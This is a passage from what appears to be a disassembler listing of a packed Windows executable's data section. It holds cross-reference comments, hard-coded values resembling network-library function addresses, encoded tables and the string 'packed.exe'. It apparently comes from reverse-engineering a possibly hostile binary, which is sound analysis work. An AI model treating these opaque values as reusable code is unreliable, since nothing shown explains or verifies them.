XREF: sub_40287C+1Dr ; sub_40392A:loc_40393Cr ... dword_4191DC dd 0 ; DATA XREF: sub_40287C+Eo dword_4191E0 dd 77E7C706h ; DATA XREF: sub_402D7B+21w ; sub_4071D2+Fr align 8 dword_4191E8 dd 71C245E0h ; DATA XREF: sub_402D7B+42w dword_4191EC dd 71C243F6h ; DATA XREF: sub_402D7B+4Fw dword_4191F0 dd 71C59904h ; DATA XREF: sub_402D7B+5Cw dword_4191F4 dd 71C453F8h ; DATA XREF: sub_402D7B+69w dword_4191F8 dd 71C2FA86h ; DATA XREF: sub_402D7B+76w dword_4191FC dd 71C574FAh ; DATA XREF: sub_402D7B+83w dword_419200 dd 71C214BAh ; DATA XREF: sub_402D7B+90w dword_419204 dd 71C4A1B4h ; DATA XREF: sub_402D7B+9Dw dword_419208 dd 71C59530h ; DATA XREF: sub_402D7B+A4w dword_41920C dd 71B2ACCBh ; DATA XREF: sub_402D7B+C4w ; sub_40CEBE+12r ... dword_419210 dd 71B22C25h ; DATA XREF: sub_402D7B+D1w dword_419214 dd 71B2A381h ; DATA XREF: sub_402D7B+DEw ; sub_40CEBE+1Er ... dword_419218 dd 71B28D0Dh ; DATA XREF: sub_402D7B+E5w dword_41921C dd 7622A3F4h ; DATA XREF: sub_402D7B+17Aw ; sub_40656A+D3r dword_419220 dd 5E0C4E7Dh ; DATA XREF: sub_402D7B+162w ; sub_4101E6+41r ... dword_419224 dd 71AB33DFh ; DATA XREF: sub_402D7B+101w ; sub_402D7B+115r ... dword_419228 dd 71ABC076h ; DATA XREF: sub_401B81+9Ar ; sub_402D7B+10Ew ... dword_41922C dd 71AB3A2Ch ; DATA XREF: sub_402D7B+11Cw ; sub_402D7B+145w ... dd 101h dup(0) dword_419634 dd 0 ; DATA XREF: sub_403338r ; sub_403338+1Bo dword_419638 dd 0 ; DATA XREF: sub_403338+Fo ; sub_403338:loc_403360r align 10h dword_419640 dd 76BF1C22h ; DATA XREF: sub_4045B7+40w ; sub_4045B7+63r ... dword_419644 dd 76BF1D54h ; DATA XREF: sub_4045B7+4Dw ; sub_4045B7+6Cr ... dword_419648 dd 76BF1E6Ch ; DATA XREF: sub_4045B7+5Bw ; sub_404639+150r dword_41964C dd 76BF32DDh ; DATA XREF: sub_4045B7+33w ; sub_4045B7+54r ... dword_419650 dd 14AE70h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_4045B7+1o ; sub_404639+Co ... byte_41966C db 1 ; DATA XREF: sub_4045B7+79w ; sub_404639+16r align 10h dword_419670 dd 0 ; DATA XREF: sub_406A40:loc_406AB0w ; sub_406B29:loc_406B90r align 8 dword_419678 dd 14AE98h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_406B98+16o ; sub_406D58+7o ... dword_419690 dd 0 ; DATA XREF: sub_406B98w ; sub_406D58+11r ... align 8 dword_419698 dd 323A00h ; DATA XREF: sub_406B98+11w ; sub_406D58:loc_406D83r ... dword_41969C dd 0 ; DATA XREF: sub_407237+6r ; sub_4072FC+60w ... dword_4196A0 dd 0 ; DATA XREF: sub_4072FC+42w ; sub_4072FC+65r ... dword_4196A4 dd 0 ; DATA XREF: sub_407237+A9r ; sub_4072FC+7Fw ... dword_4196A8 dd 0 ; DATA XREF: sub_407237+80r ; sub_4072FC+72w ... align 10h byte_4196B0 db 0 ; DATA XREF: sub_4072FC+2Dr ; sub_4072FC+84w align 4 dd 101h dup(0) byte_419AB8 db 0 ; DATA XREF: sub_4091AD+Bo ; sub_409277+27r ... align 4 dd 5Fh dup(0) dword_419C38 dd 40h dup(0) ; DATA XREF: sub_4091AD+15o ; sub_4091AD+7Bo ... dword_419D38 dd 3 dup(0) ; DATA XREF: sub_4091AD:loc_4091DDo ; sub_4091AD+8Bo ... dword_419D44 dd 0 ; DATA XREF: sub_4091A7r ; sub_409522+15r ... dd 0 dword_419D4C dd 0 ; DATA XREF: sub_40A236+47w byte_419D50 db 0 ; DATA XREF: sub_40A42C+6o ; sub_40A42C+15w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_419E54 db 0B7h ; DATA XREF: sub_40A606+22o ; sub_40A606+2Fo ... db 0B3h, 18h, 0DFh dd 0BB8FB9BAh, 81FF2B72h, 89522048h, 0 dword_419E68 dd 0A365C9E9h, 0BB2999FFh, 59ABC127h, 9107155Dh, 0 ; DATA XREF: sub_40A67C+24o ; sub_40A67C+31o ... dword_419E7C dd 8512E753h ; DATA XREF: sub_40B31E+24o ; sub_40B380+5w ... dword_419E80 dd 8C1028C2h ; DATA XREF: sub_40B31E+30o ; sub_40B380+Fw ... dword_419E84 dd 8B498905h ; DATA XREF: sub_40B31E+3Co ; sub_40B380+19w ... dword_419E88 dd 0B540BC3Fh ; DATA XREF: sub_40B31E+48o ; sub_40B380+23w ... align 10h byte_419E90 db 0DEh ; DATA XREF: sub_40B55F+24o ; sub_40B55F+31o ... db 0CEh, 98h, 0FBh dd 0F7BEE6D5h, 86FFCAB9h, 0E2A9A084h, 2 dup(0) dword_419EA8 dd 2 dup(0) ; DATA XREF: sub_40D6E0+448o dword_419EB0 dd 0 ; DATA XREF: sub_40DE9A+308o dword_419EB4 dd 2 dup(0) ; DATA XREF: sub_40DE9A+31Ao dword_419EBC dd 0 ; DATA XREF: sub_40E523+Er ; sub_40E523+1Fw dword_419EC0 dd 0 ; DATA XREF: sub_40E523:loc_40E5A8w ; sub_40E523:loc_40E5AEr dword_419EC4 dd 2 dup(0) ; DATA XREF: sub_40E8DBo ; sub_40E951+78o dword_419ECC dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_4050D1+12Do ; sub_4052DF:loc_405383o ... dword_419FD0 dd 59B170A4h ; DATA XREF: sub_407A76+530r ; kkrunchy:004112E3w dword_419FD4 dd 0CE102C2Dh ; DATA XREF: kkrunchy:004112EDw dword_419FD8 dd 0AA0D96EBh ; DATA XREF: kkrunchy:004112F7w dword_419FDC dd 82B3E8CDh ; DATA XREF: kkrunchy:00411301w dword_419FE0 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_407A76+779o ; sub_407A76+78Do ... dword_41A0E8 dd 40h dup(0) ; DATA XREF: sub_407A76+A1Fo ; sub_409277+26Ao ... byte_41A1E8 db 0 ; DATA XREF: sub_409277+E2r ; sub_409277+EBo ... align 4 dd 1Fh dup(0) byte_41A268 db 0 ; DATA XREF: sub_402EFD+E4r ; sub_402EFD+F0o ... align 4 dd 1Fh dup(0) dword_41A2E8 dd 40h dup(0) ; DATA XREF: sub_4032D2+34o ; sub_403EA9+50Co ... byte_41A3E8 db 0 ; DATA XREF: sub_407A76+1125o ; sub_409277+7Fr ... align 4 dd 3A7Fh dup(0) db 2 dup(0) kkrunchy ends end start